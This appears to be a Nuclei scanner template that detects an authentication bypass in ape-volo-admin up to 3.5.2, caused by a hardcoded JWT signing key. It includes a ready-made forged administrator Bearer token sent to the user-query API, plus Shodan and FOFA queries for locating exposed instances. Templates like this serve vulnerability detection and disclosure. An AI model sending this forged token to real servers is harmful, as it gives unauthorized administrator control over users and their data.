CVE-2026-120442: ape-volo-admin <= 3.5.2 - Authentication Bypass via Hardcoded JWT Signing Key

id: CVE-2026-120442

info:
  name: ape-volo-admin <= 3.5.2 - Authentication Bypass via Hardcoded JWT Signing Key
  author: maulanawirawan
  severity: critical
  description: |
    ape-volo-admin < 3.6.1 contains an authentication bypass caused by a hardcoded JWT signing key in appsettings.json, letting unauthenticated attackers forge administrator tokens and gain full API control, exploit requires knowledge of the hardcoded key.
  impact: |
    Unauthenticated attackers can forge admin tokens to fully control users, roles, permissions, and data via the API.
  remediation: |
    Upgrade to version 3.6.1 or later.
  reference:
    - https://github.com/xianhc/ape-volo-admin/issues/36
    - https://github.com/xianhc/ape-volo-admin/commit/938f7ec58047f0c63123dc155d6a033910f00933
    - https://github.com/xianhc/ape-volo-admin/releases/tag/V3.6.1
    - https://hackmd.io/@hieuPenguinnn/ape-volo-admin-hardcoded-jwt-secret-admin-token-forgery
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-120442
    epss-score: 0.01707
    epss-percentile: 0.77465
    cwe-id: CWE-1394
  metadata:
    max-request: 1
    vendor: xianhc
    product: ape-volo-admin
    shodan-query: http.html:"ape-volo-admin" http.html:"中后台管理权限框架"
    fofa-query: body="ape-volo-admin" && body="中后台管理权限框架"
  tags: cve,cve2026,ape-volo,unauth,hardcoded-secret,auth-bypass,jwt

http:
  - raw:
      - |
        GET /user/query?pageSize=1&pageIndex=1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiIxNjM1MTk0Mjc3NjQzMDAiLCJuYW1lIjoiYXBldm9sbyIsImlzcyI6Imh0dHA6Ly9sb2NhbGhvc3QiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0IiwiZXhwIjo0MTAyNDQ0ODAwfQ.rfsKys0b89YTIqdn_eCUg02ipOy6JmHUrd2zajzrAtw

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"content":['
          - '"totalElements":'
          - '"totalPages":'
        condition: and
# digest: 490a00463044022033aa14f987990d6a10723deaf1143b38140b7056a1b09ac14117b554fe8de073022009c5332e0a0ca81ed8f092b8214bb1b272be7213da98d5a96d6c63cb347a2479:922c64590222798bb761d5b6d8e72950

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